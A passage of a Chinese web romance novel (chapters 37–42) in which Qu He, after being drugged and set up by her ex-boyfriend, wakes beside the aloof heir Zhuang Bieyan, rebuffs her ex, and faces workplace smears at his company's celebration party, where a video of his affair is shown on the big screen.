她顿了顿,睁开涣散的眼睛,在他身上胡乱一通摸后,精准抓到了他的手,放在唇边亲了口。
“你。”
“嗯?”
“想要你。”
“想好了?”
“嗯。”
庄别宴没有收回手指,带着试探,继续在她唇上轻轻摩挲,“乖,张嘴。”
三个字带着不容置疑的温柔。
下一秒,他的唇就覆了上来,带着几分侵略性,他身上的雪松味很快压下了曲荷身上的燥热。
曲荷身子软了下,凭着本能攀上了他的肩膀。
她的身体逐渐放松,在快要喘不过气时,庄别宴才稍稍退开。
两人额头相抵,他话里带着几分笑意:“还热吗?”
曲荷脑袋晕乎乎。
摇摇头。
这次,她主动凑了上去,学着刚才他的样子吻他的唇角。
庄别宴仍由她胡闹,只是在舌尖碰到他时,微微张口。
“阿荷”,他轻轻刮了她发烫的脸颊,“我是谁?”
曲荷亲到一半迷迷糊糊眨了下眼。
他轻笑,宠溺叹气,“叫我阿宴。”
“阿宴。”她乖乖应下,带着几分黏糊。
她不知想到什么,仰起头,试探着叫了声:“哥哥?”
庄别宴喉结滚了滚,声音沉沉,却带着温柔:“再叫一次,连起来。”
曲荷愣了愣,嗓音裹着甜,“阿宴哥哥。”
心口又软又甜。
庄别宴低笑出声,俯身在她额头落下一吻,声音轻得像叹息:“小傻瓜,是燕子哥哥。”
月色如纱。
一来一往间,不知是谁陷入了更深的沉沦。
.....
晨光熹微。
阳光透过纱帘洒到了床上,曲荷缓缓睁眼。
陌生的天花板,身下的床单也不是熟悉的布料,而是带着淡淡雪松味的陌生被褥。
意识逐渐回笼,身体也泛起了异样的酸软。
昨天的画面一幕幕逐渐浮现在眼前。
她按照钱昭野的地址到了尊悦,进了四楼包间,方乾名的强迫,然后....
她浑身滚烫意识模糊,却能感受到有人抱着她在耳边轻声安抚,是..
庄别宴!
还有..
她似乎还主动吻了她。
甚至...
庄别宴的手...
曲荷猛地攥紧被子,脸以一种飞快的速度烧红起来,耳根子烫得不像话。
她几乎是弹坐起来,却因为动作太急眩晕了一下。
房间静悄悄,不见庄别宴身影。
只有不远处椅子上的衬衫在提醒着她昨晚发生的事情不是梦。
一个念头迅速冒了出来。
跑!
她手忙脚乱掀开被子下床,刚穿上拖鞋就听到房门“咔哒”一响。
门被推开了。
曲荷整个人僵硬在了原地。
门口,庄别宴推着一辆精致的餐车站在那里。
四目相对,空气仿佛凝固。
他身上松松垮垮裹着一件黑金色浴袍,领口敞得有些肆意,露出了线条分明的肌肉线条,上头几道红痕赫然在目,突兀极了!
曲荷眼睛猛地一缩。
红痕!
她默默低头看了眼自己前不久刚做的美甲。
昨晚那些个混乱又灼热的片段毫无预兆涌了上来,她就是用这双手...在他身上留下了痕迹...
她恨不得当场就把这双手剁下来!
再找个地缝钻进去!
“醒了?”
庄别宴端着温水走了过来,骨节分明的手指在晨光下像是镀了层金。
这双手...昨晚...帮她...
“轰”的一声。
曲荷整个人都烧了起来,变成了烤箱里的烤鸭,连带着后脖子都红了。
“你...我...”
“那个..我去下卫生间。”
曲荷几乎是同手同脚跑进的卫生间,还差点被地毯绊倒。
看着紧闭的门,庄别宴嘴角扬起一抹不易察觉的笑,“衣服在柜子里。”
“..好的,谢谢...”里头传来一声闷闷的回答。
得到回答后,他推着餐车到门外,关上房门。
静等小兔子出窝。
门外,庄别宴站在落地窗前,茶几上的温水已经凉了。
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曲荷从卧室出来的时候,已经换上了衣柜里的米色针织连衣裙,衬得她整个人温婉又安静。
“庄总...”她下意识绞着手指,叫了声他的名字。
他已经换下了刚才的浴袍,身上穿着咖色衬衫搭配同色系马甲,领带一丝不苟系在颈间,又变回了那个清冷矜贵的模样,好似刚才看到的那个人并不是他。
庄别宴回头,目光落在她身上,眼底闪过一丝温柔,“嗯?”
明明刚才在里面已经酝酿好说辞了,可到了他面前还是一个字都憋不出来。
“那个...”
“站着做什么?”他上前,声音听不出太多情绪,“先过来吃早餐。”
两人相对而坐。
庄别宴重新倒了杯温水往她面前一推,“先喝点水。”
玻璃杯里的水在阳光下折射出一道好看的光影。
曲荷攥着杯子的指节紧了下,声音带着几分沙哑,“昨晚...你怎么会来?
庄别宴手上的动作听了下,语气带着几分不易察觉的冷意,他简单把昨晚凌霍撞见的事说了下。
曲荷沉默听着,在听到他说D家的裙子后一愣。
所以,庄别宴仅仅因为一条裙子就来了。
心里多少因为这个有些触动,她低声道:“谢谢。”
庄别宴没说话,只是静静看着她,“昨晚的事需要我帮你调查吗?”
曲荷手指颤了下。
从昨天她被方乾名带走的时候,她就知道这件事背后一定有钱昭野和乔眠的推波助澜,过往那些零碎片段凑成了完整的链条。
方乾名对她的觊觎,乔眠怀孕着急上位,还有钱昭野...
心口还是被刺了一下,疼得几乎喘不过气,委屈和恨意止不住翻涌。
七年感情,四年背叛,竟然连最后一丝体面都不肯给她,还想榨干她身上最后的价值,甚至不惜设计让她被玷污身败名裂!
都是算计!
她闭了闭眼,再睁眼时,眼底只剩下冷寂。
曲荷抬头看向对坐的庄别宴摇了摇头,“不用了。”
这件事她不会就这么算了!
她会用自己的方式让他们付出代价!
庄别宴轻轻点了下头。
房间一时安静下来。
只剩下餐刀划动的声音。
曲荷还在想着钱昭野的事,直到庄别宴的一句话把她拉了回来。
“昨晚的事...”
第38章 谁向谁负责?
曲荷猛地回神,好不容易恢复正常的脸又红了起来。
“昨晚的事...”她抿了抿唇,声音轻得几乎听不见,“我们...”
庄别宴放下杯子,头往前靠了靠,声音低沉,“你想说什么?”
曲荷看着他靠近,心跳不自觉加快,放在膝盖上的手绞得更紧了。
昨天她被药控制一时混沌,但还是记得两人最后都没越过那条线,庄别宴用最克制的方式帮她解了药。
可即便如此,他是庄别宴啊。
是北城人人敬畏的庄家继承人,是圈子是公认的不敢玷污的庄家玉树!
可昨晚,这位玉树却差点被她“吃干抹净”。
她有罪啊!!!
“昨晚...我们没到最后一步,但....”曲荷越说脸越红,耳根子都快着了,“庄总,您....您帮了我很多,我....”
庄别宴看着她慌乱的样子,唇角微扬:“所以,你想怎么负责?”
曲荷一愣,抬眼看他:“啊?...”
他微微倾身,目光和她齐平,声音放软却带着认真:“昨晚的事,你有什么要求,我都能满足你。如果你需要负责,我可以配合。”
曲荷:“....”
天爷啊。
这是中文吗?
她没理解错的话,庄别宴这话说的像是...他在等她提出负责?
她?
曲荷张了张嘴,半晌才憋出一句:“庄总,您..没开玩笑吧。”
庄别宴挑眉,静静看着她:“你觉得我在开玩笑。”
曲荷被他看得有些不自在,低声道:“昨晚的事...不管怎么样,都得谢谢庄总的帮忙。”
她顿了顿,说到后面声音越来越轻,“就算是负责,那也应该是我向您说这种话..”
庄别宴眸色一深,眼底闪过笑意:“好。”
曲荷:.....?
他答应得也太快了吧!
而且...她怎么觉得好像这话里还隐约带着几分轻快,甚至...期待??
他说得坦荡干脆,曲荷却不敢再看他的眼睛。
“先吃饭。”庄别宴转移了话题,把盘子往她面前推了推,“吃完我送你回去。”
曲荷没再推辞,低头吃了起来。
可纵然她不再抬头,但依旧能感觉到对面那道目光始终落在她身上。
匆匆吃完后,他拿起车钥匙,“走吧。”
曲荷点头,跟在他后面。
迈巴赫里气氛安静又微妙。
曲荷看向后视镜里不断后退的街景,思绪被打成了结,一团乱麻。
“在想什么?”庄别宴突然开口。
曲荷一下子没反应过来,脱口而出,“在想..钱昭野。”
庄别宴搭在方向盘上的手紧了下,语气平静,却莫名透着几分紧绷,“如果你需要我向钱昭野解释...”
“不用。”曲荷转头打断他,“我和他已经没有关系了。”
她的声音很轻,却异常坚定。
曲荷三言两语把和钱昭野的事和庄别宴说了下,“...就是这样,是不是觉得,挺可笑的。”
她扭头继续看向窗外,“七年感情,换来一场算计。”
庄别宴沉默片刻,淡淡道:“是他不配。”
曲荷转头看向他。
庄别宴趁着红灯间隙轻踩刹车,回头看她。
两人四目相对。
他的轮廓在晨光下格外清晰,嗓音也是低沉又笃定:“你值得更好的。”
曲荷心头一颤。
对钱昭野的恨和冷意还在心底盘旋,可庄别宴这句话带来的暖意却悄悄蔓延到了四肢百骸。
迈巴赫停到了白玉湾门口,庄别宴解开安全带,侧身,“到了。”
曲荷回神,点点头,低头去解安全带,却因为心不在焉,按了好几次都没解开。
庄别宴低笑了下,倾身过来,手指轻轻一按。
“啪嗒”一声。
安全带应声而解。
他身上的雪松味近在咫尺,曲荷下意识屏住呼吸,身子往后靠了靠。
庄别宴微微抬眸,两人视线相撞,“紧张?”
曲荷耳尖发烫,依旧嘴硬:“....没有。”
庄别宴唇角勾了下,没拆穿她,只是直起身下车绕到她这边帮她打开车门,“上去吧,好好休息,有事随时找我。”
曲荷点点头,下车,往前走了几步,回头看他。
“庄
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总。”
“嗯?”
她深吸口气,“昨晚的事,谢谢您。还有我说的负责的事...”
庄别宴眸光一闪,“好,我记住了。”
他手一甩,关上车门。
耳边传来他低沉含笑的声音,“不急,等你准备好,我们再谈。”
曲荷愣住。
他什么意思?
什么叫‘等她准备好?’
庄别宴盯着她快要滴血的耳尖,轻笑,“快上去吧。”
“..好的。”曲荷转身捂住发烫的脸往里走。
身后,车里。
庄别宴透过后视镜看着她逐渐变小的身影,嘴角勾起淡淡的笑。
不急,他有的是耐心等她。
曲荷几乎是跑进的单元楼,直到进了电梯才喘了口大气。
电梯镜面上映着她红透的脸,她反手贴了下,滚烫!
真是太荒唐了...
曲荷就这么带着一团乱麻的思绪回了家,刚走出电梯,在看到家门口的人影后,脚步一滞,全身血液瞬间冻住。
钱昭野歪歪扭扭地坐在她家门前的地毯上。
西装裤下摆带着明显的褶皱,领带松垮地挂在颈间,下巴上冒出的胡茬透着股刻意营造的颓废和狼狈。
他抬头看到她时,眼睛一亮。
“阿荷。”他踉跄着起身,声音沙哑。
曲荷一看到他胃里就泛起一股恶心,声音冷冷:“你怎么在这里?”
昨晚被设计,被方乾名带走的画面再次浮现,她攥紧拳头,“滚出去。”
“阿荷,你听我解释!”
钱昭野急着往前凑,想抓她的手腕。
曲荷下意识后退一步,他的手僵在半空。
“解释?”曲荷嗤笑,眼尾带着嘲讽。
“解释你为什么放着去新加坡的航班不坐,跑到我家门口演苦情戏?”
谎言被戳穿,钱昭野脸色骤变,“我....”
可下一秒,他的目光突然定格在了曲荷的脖颈处,瞳孔猛地一缩。
那里有一抹淡淡的红痕。
淡红色的,像被人掐出来的,又像是..吻痕。
“他真的碰你了?!”
钱昭野的声音突然变高,尖锐地刺耳。
第39章 昨晚他一直在楼下!
钱昭野眼里飞快掠过了一抹嫌恶,在对上曲荷冰冷的眼睛时,又慌忙摇头,一脸难以置信。
“不会的,乔眠明明说,只是和方乾名吃顿饭!为什么……为什么会这样!”
钱昭野下意识后退了半步,可那抹红痕却烫着他的眼睛,像是一个耻辱的印记。
心里瞬间闪过千百种情绪,那股自己珍藏多年的东西被侵犯的愤怒占据了顶峰。
纵然他刻意不去看,但也不得不承认那个事实。
曲荷脏了。
他的东西,脏了。
这个念头一旦产生,他瞬间感觉到了恶心。
“不会的..不会的...”他声音发颤,像是在说服自己。
他往前走了一小步,“阿荷,你告诉我,这不是真的对不对!”
钱昭野带着一丝侥幸,疯狂地找借口。
一定是她自己弄的。
或者是过敏。
“阿荷,这红痕是你自己弄的对不对,是你故意气我的,是不是?”
他一边说,一边在给曲荷找补。
一定是误会!
曲荷不是那种随便的女人,这一定是她的报复!
她就是想用这种方式逼我认错!
曲荷怎么能被别人碰?
那多脏啊!
想到“脏”这个字,心底那股嫌恶再次涌上来,像针扎一样。
他的一举一动,每个表情都被曲荷尽收眼底,她冷笑,嘲讽道:“怎么?在知道我和别人睡了,觉得我脏了?”
“别说了!”
钱昭野猛地抓住了他的胳膊,难掩疯狂,“告诉我!你们昨晚什么都没发生对不对!你就是在故意气我!”
曲荷迎上他的目光,一字一顿,“让你失望了。”
听到说这句话,钱昭野像是被抽干了力气,整个人无力地往后踉跄了几步,后背抵着墙,喃喃着,“不会的...”
“别再假惺惺了。”曲荷扯了扯衣领,“演给谁看?”
“不是的阿荷!”钱昭野急切地上前解释,喉结滚动,“昨天我一直在尊悦楼下等你!就是怕你出什么事,怕方乾名对你做什么...”
曲荷猛地转头,眼神骤变。
“你昨晚一直在楼下?”
她顿了顿,每个字都带着寒意,“所以,你亲眼看着我被方乾名带走,却无动于衷?”
“不是的!”钱昭野脸色发青,话卡在喉咙里,“我只是..只是...”
“说啊!”
曲荷步步紧逼,声音不大却字字诛心。
“钱昭野,你还真是擅长给自己找台阶下。你敢发誓,昨晚的事情你真的一点都不知道吗?你到现在还在给自己找理由开脱,这些蹩脚的借口,你自己听着不觉得恶心吗?”
曲荷的语气平静得可怕,“你知不知道,就凭昨晚那件事,我就可以告你!”
钱昭野只是自顾自地摇头,“不是的,不是的。”
曲荷嗤笑,冷冷地看着他,像在看一个跳梁小丑。
钱昭野目光始终锁在她身上,到后来愈发激动,“阿荷,不是的,其实我不在乎的....”
“对!我不在乎!”
钱昭野突然拔高声音,像是终于找到了借口,“阿荷,我不在乎!只要你肯回来,这些事我都能当作没发生过,包括之前的事情,我们一笔勾销好不好!”
他说着说着脸上带上了几分偏执的认真。
没关系的。
只要曲荷能回来,他可以当做什么都没发生过。
洗洗就干净了,反正..她本来就是他的。
对!
想到这,钱昭野甚至带着几分自我感动。
曲荷像是听到了天大的笑话,看着他癫狂的样子,她不由得笑出声来,可眼角却泛了红。
这个男人,为什么总是这样!
曲荷觉得人生太荒谬了。
“钱昭野,”她的声音飘得厉害,“你是不是以为这样就能把一切都扯平了?”
“我不是这个意思......”
曲荷眼底的失望浓得快溢出来了。
“你背叛我!设计我!毁我!现
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在又摆出这种宽容大度的样子。你是不是觉得,只要你愿意不计较这件事,只要你觉得不在乎,我就该感恩戴德?感谢你的宽宏大量?感谢你肯施舍我一个重新回到你身边的机会?”
钱昭野脸色僵硬。
“不是的...”
“我不想再听你说话。”曲荷打断他。
“你现在立刻马上,从这里消失。否则,我马上报警。”
钱昭野嘴唇颤抖,想说些什么。
曲荷不再看他。
钱昭野莫名带上了几分执拗和癫狂:“阿荷,我会证明给你看,我说的都是真的。”
证明?
证明什么?
他的虚伪?
还是无耻?
曲荷累了,身心俱疲。
她上前打开门锁,在门关上的最后一秒,还能听到钱昭野在门外嘶哑的喊声,“阿荷!我会证明给你看!”
话里透着一股志在必得的疯狂。
一门之隔,屋内。
曲荷再也支撑不住,靠着门板滑坐到了地上,她抱紧自己的膝盖,把头埋了进去。
从来是现实主义者的她,这一刻竟然荒唐地期盼时光能倒流。
如果时间能倒流。
那她希望老天爷能大发慈悲,永远不要让她再遇见钱昭野。
......
楼下,钱昭野走出电梯,脸上的深情早已消失殆尽,眼里满是阴鸷。
刚才在楼上的颓败和痛苦似乎都是错觉。
他掏出手机一边走一边打了个电话。
他身后不远处的树底下,乔眠死死攥着拳头,指甲几乎要嵌进肉里。
刚才楼道里的对话,她听得一清二楚。
她盯着钱昭野离开的方向,又抬头看向曲荷住的楼层,眼底满是扭曲的恨意。
“曲荷...”她咬着牙,声音低得像诅咒,“你怎么不**!”
乔眠深吸一口气,拨出电话,声音带着几分扭曲的快意,“按计划进行!”
她要让曲荷身败名裂!
要让她彻底离开北城!
第40章 他禁欲底下的疯狂
北城梅雨季刚过,空气里还浸着潮湿的黏意。
曲荷在家里好几天没有出门。
卧室窗帘半拉着,阳光透过缝隙打在了床头柜的那枚胸针上。
胸针上的钻石泛着冷光,曲荷伸手拿过,无意识摩挲着。
只要想起那晚的失控,缠绵,亲热,曲荷就感到太阳穴突突跳。
她不知道该怎么定义和庄别宴的关系,更不知道他说的‘负责’到底是什么意思。
她总感觉,和庄别宴之间有什么东西在悄悄发生改变。
手机传来震动,曲荷条件反射紧张了下。
这几天每次手机有个动静,她就怕是庄别宴发来的什么消息,怕他提起那晚的事,怕他真的为自己说的‘负责’要个说法。
不过好在都不是。
只是一条直播推送。
视频顶部是加粗的黑体标题,北城行业峰会论坛。
直播自动播放,镜头晃了晃,在看到一抹身影后,曲荷手比脑子快已经点了进去。
视频里,庄别宴作为峰会论坛的特邀嘉宾正在领奖台上颁奖。
他一身剪裁得体的深黑色定制西装,鼻梁上架着上次看到过的无框眼镜,目光沉静,比平日她见到的时候多了几分疏离的贵气。
可望不可即。
而在他的旁边,钱昭野笑得春风得意,手里捧着一个水晶奖杯。
背景大屏上“昭野科技荣获新经济最佳企业代表”的字样格外显眼。
庄别宴颁奖后,便下了台。
可导播镜头不知是手滑还是有意为之,镜头居然一路跟着他下台,倒是把台上的获奖者忘得一干二净。
一分多钟的镜头里,只有庄别宴从容不迫的身影,直到一群记者围了上来,镜头才慢悠悠切回了台上。
在镜头切换前的最后一秒,庄别宴正在接受记者提问,聚光灯下他神色淡然,语调平稳。
曲荷目光落在了他的滚动的喉结上,脑海里瞬间炸开了那晚的画面。
他的衬衫被扯开了扣子,她像是被蛊惑般凑了上去啃咬那块皮肤,烫得厉害!
那声刻意压制在喉咙底的闷哼,带着隐忍的欲望,和面前直播里的模样判若两人。
平日里的庄别宴有多清冷矜贵,那晚就有多滚烫真实。
缠在她手腕上的力度,洒在耳畔的呼吸,无人知晓的红痕...
这些被他藏在皮囊之下的滚烫欲望,全被她知晓。
她好像发现了他的另一面,是更加鲜活的。
这个念头一冒出来,曲荷心头就像被电流穿过,四肢酥麻了一下。
她反应过来后,立刻关掉了直播,只觉得心跳得厉害,脸更烫了。
空气循环扇呼呼吹着,曲荷却觉得莫名有些吵闹,她到厨房猛灌了好几口冷水才终于缓了下来。
......
峰会论坛现场。
热火朝天。
钱昭野被一群人围着恭维,他挂着恰到好处的微笑和他们周旋,心里的虚荣心到达了顶峰。
正说着,就听到对面不远处传来一阵喧嚣,他的目光落在了正缓步走来的庄别宴身上。
他刚结束一场专访,正被一群人簇拥着。
而那些刚才还围着他说话好的那些人,现在已经散去大半,争先恐后跑到了庄别宴那边躬身寒暄,脸上满是谄媚。
钱昭野垂在身侧的手猛得收紧。
他拼了这么多年,又花了多少时间和心血才走到今天,才有了今天的地位,可为什么还是比不上庄别宴。
为什么同样是在聚光灯下,他连眉头都没动一下,就占尽了所有风头。
难道就仅仅是因为他姓庄?就该高人一等吗?
他内心久久不能平复,说不清的情绪涌上心头,努力克制着才没有当面失了分寸。
他正想着,就听到旁边一个只打过几面招呼的男人凑了过来,“钱总,刚听说您这终身大事也快有眉目了?看来今天真是双喜临门啊!”
钱昭野眉心微动,他好像对这个传闻并不意外,甚至还有些意料之中。
“确实有这个打算。”
他正说着,就感觉周遭空气突然凝固了几分。
庄别宴不知何时已经走到了他边上,那双琥珀色的双眸透过镜片冷冷注视着他。
钱昭野被他看得后背莫名出了层虚汗。
总感觉他在看向自己的时候,带着几分意味不明。
这时,人群中不知道是谁说了句,“钱总,您拿了这个行业代表奖,可得好好办场庆功会啊,到时我们一定捧场!”
钱昭野一一应下。
他压下心头的波澜,看向庄别宴,微微欠身,“庄总,明天公司准备了个庆功会,不知您是否有空赏光?”
钱昭野这话问得客气,但在场人都知道这是场面话。
他这样问一出,只是显得他懂规矩,还能在旁人面前赚个面子。
毕竟整个北城谁不知道,庄别宴从来参加这种级别的商业应酬,钱昭野都已经做好了被拒绝的准备。
周围安静下来,所有人的目光都聚在了两人身上。
庄别宴依旧垂眸看着钱昭野,镜片后的目光深不见底,半晌后才听
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到他缓缓开口,“明天?”
“是的。”
“好。”
简简单单一个字,在周遭所有人心里掀起了巨浪,瞬间搅乱了所有的风向。
钱昭野一愣,脸上虚伪的笑差点挂不住。
他没想到庄别宴会答应。
庄别宴却像是没看到他的错愕,目光淡淡扫了一圈,最后微微颔首便离开了。
他前脚刚离开会场,周围的恭维赞叹声再次涌了过来,甚至比刚才更热切了几分。
有几个刚才还在冷落他的企业老总瞬间变了脸色,热情地拍着他的肩膀,还有几个记者抢着和他约明天的庆功会名额。
他们说的话一字不落进了钱昭野耳朵,他的心里像是被什么东西堵着,闷得慌,但他却不能发作,只能继续笑着应酬。
**庄别宴为什么会答应,但不管他有什么目的,他肯来,对公司都是极好的,他必须抓住这个机会。
更何况,他明天还要当着所有人的面,宣布一件“大事”。
白玉湾。
曲荷收到钱昭野消息的时候,正在和小庄禧发消息。
屏幕上是小姑娘奶声奶气的语音:“曲姐姐,家里的杨梅已经红彤彤了,你快来吃啊!我们一起摘杨梅!”
曲荷没想到过了这么久,这小姑娘还记得这事。
看来是放暑假了,整个人都放飞了。
她本来就不想去庄家,再加上前几天发生的那件事,更不可能去了,她糊弄了两句,巧妙换了个话题就匆匆结束。
消息刚发出去,一条短信就跳了出来。
依旧是个陌生号码,曲荷不用看都知道是谁。
“阿荷,我会在公司明天的庆功会上向你证明!我说的都是真的!”
曲荷盯着这条消息看了一会儿,面无表情删除拉黑。
钱昭野要办庆功会这件事,她退出直播没多久就知道了。
秘书部的小林早就给她发了消息,邀请她明天去参加,说要一起见证公司的“大喜事”。
曲荷没有回复这条消息。
她交辞职报告离职的事情公司还不知道。
或许在钱昭野眼里,她退出所有工作群,拉黑联系方式也只是她耍脾气的方式吧。
曲荷目光落在面前的电脑屏幕上,邮箱里的视频在转圈下载,封面正好定格在钱昭野和乔眠在车后座亲热的那一帧。
画面看的人生理不适。
曲荷将窗口最小化。
有些事,确实该做个了断了。
既然明天有‘大喜事’,那她这份‘贺礼’,也该送出去了。
第41章 “潜规则”
昭野公司的庆功会在尊悦三楼宴会厅举行。
曲荷是快正午时候到的,宴会厅里已聚了大半人。
里面的人比她想象的多,几家主流媒体和一些平日里难得一见的行业大拿也都来了,这倒有些让曲荷诧异了。
可比起这些,更让她觉得不舒服的,是那些若有似无的目光。
“那就是曲荷?”
“听说她和钱总谈了七年...难怪升得那么快...”
从她进了宴会厅开始,就看到有人对着她窃窃私语。
而这些基本上都来自公司那些前同事,他们那些细碎的议论,余光投来的打量,还有那暧昧又鄙夷的笑。
曲荷手指冰凉。
秘书部小林匆匆把她带到了人少的另一边,声音很轻:“曲姐,你别往心里去,那些话都是大家瞎传的...”
曲荷淡淡一笑:“什么话?”
小林被噎了一下,眼神闪烁:“就是...公司最近传的...”
她冷声,“传的什么?说我潜规则上位?还是说我和钱昭野的七年地下情?”
小林尴尬笑笑,不敢搭话。
“曲姐,不是所有人都是这么想的。”
小林试图解释,还想说些什么,可中途却被其他同事叫走,她也只好悻悻作罢,留下一句“曲姐,我是相信你的”就被拉走了。
偏偏是这个时候,传出这样的流言蜚语。
其心可诛!
背后的人是谁,不言而喻!
曲荷没作声,抬眼看向宴会厅正中央的钱昭野。
他西装革履,笑容灿烂,享受着周围人的吹捧和恭维,春光满面,好似一切尽在掌握。
“呵。”
曲荷笑了,这就是他的证明?
用流言蜚语逼她就犯?让她无处可逃,最后只能求着回他身边?
人群中,钱昭野似乎感觉到什么,一转头就对上了她的目光,他眼睛一亮,不知道和周围人说了什么,径直朝她走来。
“阿荷”,他走到她面前,声音虚伪:“今天的你很美。”
曲荷垂着眼,没看他。
钱昭野却毫不在意她的冷淡,自信笑着说:“我就知道你会来。”
就算被她拉黑了所有联系方式又怎么样,她不终究还是出现了。
这足以证明,曲荷心里还有他。
钱昭野毫不掩饰的目光在曲荷身上打量着,她今天穿了条墨绿色长裙,衬得她肌肤更加白皙,在人群中格外醒目。
曲荷抬眼,眼神冰冷:“公司那些传闻,是你传的。”
不是疑问,是笃定。
钱昭野没有否认,他往前凑了半步,带着自以为是的深情开口:“阿荷,我说过会向你证明。”
他甚至带了点理所当然:“况且,那怎么会是谣言?那是我们相爱的过去。”
“相爱?”
曲荷像是听到了天大的笑话,讥讽道:“钱昭野,不是所有人都能像你这样,把感情当儿戏,把欺骗当深情。”
他用这种卑劣的方式逼她就范,却还以为是深情?
真是恶心!
钱昭野脸上的笑僵硬了一下,但很快又恢复正常,“你忘了吗?以前可是你一直希望我们能公开.....”
“那是因为我那时瞎了眼!”
曲荷的声音突然拔高,又克制着压低,“我不知道你是个骗子!才会被你的谎言骗得团团转!现在我醒了!”
钱昭野还想说什么,不远处却有几个记者走了过来:“钱总,能采访一下吗?关于昭野科技未来的发展规划...”
钱昭野被托住步伐,不得不转身应付他们。
曲荷立刻转身趁机离开,可还没走几步,就听到了更加肆无忌惮的议论。
“你看你看,一前一后走出来,肯定有事。”
“我就说嘛,曲荷一个非本专业的应届生,毕业就能当钱总的秘书,哪有那么多天上掉馅饼的事?”
“啧啧,秘书这个职业,果然水深....”
议论声不大,却像毒蛇一样钻进曲荷身体里,怎么也甩不掉。
她熬夜做的方案,在酒桌上喝到吐才谈下的合作,她呕心沥血走来的每一步...
七年的努力,就被这样几句话,轻飘飘地抹杀了。
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三人成虎。
‘潜规则’三个字,掩盖了她所有的一切。
曲荷深深吐出一口气。
“如果曲秘书和钱总的事是真的,那乔眠呢?”
他们了压低声音,可话里的看戏意味却掩盖不住。
“你别说,曲秘书请假的这几天,乔眠经常往钱总办公室跑。”
“这么说,曲荷是被比下去了?”
“也太可悲了吧,费劲心思爬上来,最后还是成了别人的垫脚石......”
说到这,那些人再次看向曲荷的目光里带上了几分怜悯,可细看,那怜悯里却裹着幸灾乐祸。
曲荷一下子成为了话题中心。
她知道,在他们眼里,她现在大概就是个靠男人上位,最后却被抛弃的笑话。
可那又怎么样?
曲荷回头望了一眼。
人群中,钱昭野正对着记者侃侃而谈。
曲荷嘴角扯出一抹嘲讽,走向宴会厅后门。
那头,钱昭野游刃有余接受着记者采访。
自由提问环节,几个记者争相举手,问题无外乎绕着庄别宴展开,显然是想从他口中挖出一些有关庄别宴的传闻,这也是他们今天来的目的。
钱昭野随便挑了个记者回答完后,目光停留在了第三排中间的一个记者,两人视线在空中无声交汇。
记者拿着话筒上前,声音刻意提高:“我想请问钱总,听说您最近有结婚的打算?”
宴会厅里的人瞬间安静了不少。
大家目光在曲荷跟他之间来回流转。
钱昭野笑了下,拿着话筒的手无意识转了个方向,露出了手上的婚戒:“是的,最近确实正在备婚。”
“恭喜您。”记者继续追问,“方便透露一下,您的另一半吗?”
钱昭野越过人群,看向不远处的曲荷,语气里带着刻意营造的温情:“她是个非常好的人,一直默默支持我的事业。”
说到这,他顿了一下,“这几年,她也一直在公司陪着我.....”
他正说着,没有注意到不远处的人群里,忽然起了骚动。
第42章 庄别宴,你敢跟我走吗?
几个公司员工聚在一起,低头盯着**窃私语。
他们时不时抬头,用异样,鄙夷的目光看向曲荷。
就在刚才,公司全员邮箱里,收到了一组照片。
照片里,曲荷被一个男人半搂着进了酒店,男人的脸被截掉了,只有模糊的背影,而她的脸却被拍得一清二楚。
照片用刁钻的角度处理过后,被解读成了不堪的纠缠。
“没想到曲秘书谈合作,是用这种‘特殊方式’?”
“原来这就是钱总说的‘默默支持’?”
“钱昭野要是真和这种女人结婚,怕是要成圈里的笑料吧?”
曲荷握着手机的指节泛白。
又是莫须有的罪名,一次比一次龌龊。
她攥了下拳头,可刚抬眼,就和角落里的乔眠对上了眼。
她轻抚小腹,一脸看戏模样。
在看到曲荷望过来,还假惺惺地做了个‘对不起’的口型。
一切明了!
这两人,还真是绝配啊!
人群中央,钱昭野还在半掩着他深情款款的模样,丝毫不知自己处于风暴中央。
当再次被记者追问另一半身份时,他假意羞涩了一下,故作温柔开口,“她就是.....”
“钱总!”
安达急匆匆挤了进来,朝记者们做了个“稍等”的手势,附在钱昭野耳边不知道说了什么,还拿出了手机。
钱昭野脸上的笑容瞬间僵住,脸色一点点沉了下去。
他抬眼看向曲荷,眼神复杂。
曲荷迎着他的目光,没有躲闪。
“钱总,您还没说您未婚妻到底是谁呢!”记者穷追不舍。
钱昭野嘴唇无声动了下,那两个字已经呼之欲出,可现在却硬生生卡在了喉咙里。
周围的人都屏住了呼吸,目光在两人之间来回逡巡。
那几个看戏的人,都在等他的答案,想看他到底是会把戏继续演下去,还是彻底撕碎!
钱昭野张了张嘴,终究没能把那个名字说出口
不远处,曲荷看得真切。
他怕了,怕说出她的名字后,自己就会和她一起,沦为众人嘲讽的对象。
空气仿佛凝固了,两人之间开始了一场无声的僵持。
曲荷看着他闪烁的眼神,看着他下意识避开记者镜头的动作,忽然觉得可笑。
终于,在她讥讽的注视下,钱昭野狼狈地移开了视线。
几个记者还想说些什么,却听到宴会厅门口传来一阵骚动。
众人回头。
宴会厅门被推开,一束灯光落在门口。
庄别宴就站在那束光里。
他穿着深色暗纹英伦风西装三件套,领带一丝不苟系着,长身玉立,周身散发着几分漫不经心的贵气。
所有喧嚣在这一刻戛然而止。
他只需站在那里,无需多言,便是焦点中心。
刚才还在窃窃私语的人,被他的气场震得倒吸一口冷气。
“庄别宴...他居然真的来了?”
“我天哪,他本人比财经杂志上的照片好看一百倍!”
“见过穿西装的,没见过把西装穿得像艺术品的....”
“红豆生南国,庄别宴是男模!”
惊叹声连绵不绝,人群再次为他沸腾。
刚才还围在钱昭野身边的记者们,几乎是百米冲刺跑向门口,录音笔和相机举得密密麻麻,却没一个人敢大声喧哗。
庄别宴没说话,甚至没看那些涌来的人。
他的目光穿过层层人群,径直落在了曲荷身上。
四目相对的瞬间,世界像被按下暂停键。
周围一切仿佛都成了模糊的背景板。
曲荷撞进了他眸底,那里深不见底,却又好像带着直达心底的魔力,像一张无形的网,隔绝了一切。
喧嚣,灯光,推搡,不复存在。
刚才强压下去的委屈,因这一眼,突然就决了堤。
她忽然就觉得鼻子酸了一下。
但她没哭,只是微红着眼眶,像只倔强的小怪兽,仰着头。
庄别宴在看到曲荷泛红的眼角后,眸光一暗。
他一步步穿过人潮,朝她走去。
所过之处,人群不自觉为他让出一条路。
大家的目光随着他移动。
就在这时,不知道谁喊了句:“快看屏幕!”
宴会厅里的大屏切换了画面,原本的庆功文案被一段视频取代。
视频里,钱昭野和乔眠在车后座纠缠,两人搂在一起,吻得难舍难分,画面露骨得让人脸红。
“这这这...我天哪,没眼看。”
